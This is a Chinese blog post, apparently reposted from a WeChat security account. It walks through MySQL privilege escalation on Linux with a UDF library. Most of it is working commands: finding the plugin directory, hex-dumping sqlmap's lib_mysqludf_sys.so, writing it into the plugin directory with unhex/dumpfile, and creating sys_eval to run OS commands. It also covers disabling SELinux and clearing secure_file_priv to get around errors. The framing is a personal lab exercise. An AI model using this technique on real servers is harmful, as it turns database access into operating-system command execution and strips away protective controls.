Linux利用UDF库实现Mysql提权

  • A+
所属分类:安全文章


  很多东西在实际工作中碰不到,用不到。慢慢的也就荒废了,学的东西太杂,好多东西都是学到一半就放下了。最后似乎成了一无所精。慢慢的越来越迷茫。

   年前学了一段时间C,还没学会就开始学CTF,依旧是还没入门就开始了红蓝对抗。最近思考的东西越来越多,好像回家放羊,只放一只。


找出了自己16年的笔记,荒废的东西总要先捡起来。

Linux利用UDF库实现Mysql提权

以下是我本地虚拟机数据库环境演示:


简述:

通过自定义库函数来实现执行任意的程序,这里只在linux下测试通过,具体到windows,所用的dll自然不同。

 

要求:

 在mysql库下必须有func表,并且在‑‑skip‑grant‑tables开启的情况下,UDF会被禁止;

 

过程:得到插件库路径 找对应操作系统的udf库文件 利用udf库文件加载函数并执行命令


一,得到插件库路径


mysql> show variables like "%plugin%";

+---------------+-----------------------+

| Variable_name | Value         |

+---------------+-----------------------+

| plugin_dir  | /usr/lib/mysql/plugin |

+---------------+-----------------------+

1 row in set (0.00 sec)

二,找对应操作系统的udf库文件  自己本机的so文件

Linux利用UDF库实现Mysql提权

因为自己测试,看了下自己系统的版本,64位

 


[email protected]:~# uname -a

Linux bt 3.2.6 #1 SMP Fri Feb 17 10:34:20 EST 2012 x86_64 GNU/Linux

对于udf文件,在sqlmap工具中自带就有,只要找对应操作系统的版本即可


[email protected]:/pentest/database/sqlmap/udf/mysql# ls

linux windows

[email protected]:/pentest/database/sqlmap/udf/mysql/linux# ls

32 64

[email protected]:/pentest/database/sqlmap/udf/mysql/linux/64# ls

lib_mysqludf_sys.so

三,利用udf库文件加载函数并执行命令

首先要得到udf库文件的十六进制格式,可在本地通过

Linux利用UDF库实现Mysql提权



我试验的构造:select hex(load_file('/tmp/centos7.so')) into outfile '/tmp/uuu.txt';


/tmp/centos7.so为我本地的so文件,/tmp/uuu.txt为我指定生成的位置。


select hex(load_file('D:/phpStudy/plugins/lib_mysqludf_sys.so')) into outfile 'D:/phpStudy/uuu.txt';


四、修改目录权限

 

[email protected]:~# chmod 777 /usr/lib/mysql/plugin


数据库中写入udf库(我试验中的uuu.txt)到mysql库目录:

 



mysql> select unhex('7F454C46020...') into dumpfile '/usr/lib/mysql/plugin/mysqludf.so';
Query OK, 1 row affected (0.04 sec)

我试验的构造:select unhex('7F454C.......') into dumpfile '/usr/lib64/mysql/plugin/udfudf.so';

Linux利用UDF库实现Mysql提权


对于以上,可能会出现的报错:

1、select* from xxx into outfile : Can't create/write to file xxx (Errcode: 13)


试验中在本机设置修改,如连接对方数据库爆出此提示即无权限去写,原因:Centos的SELINUX为enforcing导致,原因可自行百度强访问控制。

Linux利用UDF库实现Mysql提权

解决办法:

CentOS 下 MySQL运行 select* from xxx into outfile文件权限问题。

已经在root用户权限下。

select user from user into outfile '/opt/test.txt';

ERROR 1 (HY000): Can't create/write to file '/opt/test.txt' (Errcode: 13)


原因:Centos的SELINUX为enforcing导致

解决方法:关闭SELINUX

1、临时关闭(不用重启机器):

setenforce 0                  ##设置SELinux 成为permissive模式

                              ##setenforce 1 设置SELinux 成为enforcing模式

2、修改配置文件需要重启机器:

修改/etc/selinux/config 文件

vi /etc/selinux/config

将SELINUX=enforcing改为SELINUX=disabled

重启机器即可


二、报错:


MYSQL导出数据出现The MySQL server is running with the --secure-file-priv option so it cannot execute this


试验中在本机设置修改,如连接对方数据库爆出此提示即不允许导出

1.进入mysql查看secure_file_prive的值

$mysql -u root -p

mysql>SHOW VARIABLES LIKE "secure_file_priv";

secure_file_prive=null   -- 限制mysqld 不允许导入导出

secure_file_priv=/tmp/   -- 限制mysqld的导入导出只能发生在/tmp/目录下


secure_file_priv=' '         -- 不对mysqld 的导入 导出做限制


2.更改secure_file_pri的值


/usr/local/mysql/support-files中的my-default.cnf配置文件,就把它复制到/private/etc中,重命名为“my.cnf”,并加入secure_file_priv='',重启mysql服务器即可。







五、最后,加载函数并执行:


mysql> create function sys_eval returns string soname "mysqludf.so";

Query OK, 0 rows affected (0.14 sec)

  

mysql> select sys_eval('whoami');

+--------------------+

| sys_eval('whoami') |

+--------------------+

| mysql       |

+--------------------+

1 row in set (0.04 sec)

  

mysql> select * from mysql.func;

+----------+-----+-------------+----------+

| name   | ret | dl     | type   |

+----------+-----+-------------+----------+

| sys_eval |  0 | mysqludf.so | function |

+----------+-----+-------------+----------+

1 row in set

Linux利用UDF库实现Mysql提权

Linux利用UDF库实现Mysql提权


本文始发于微信公众号(LemonSec):Linux利用UDF库实现Mysql提权

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: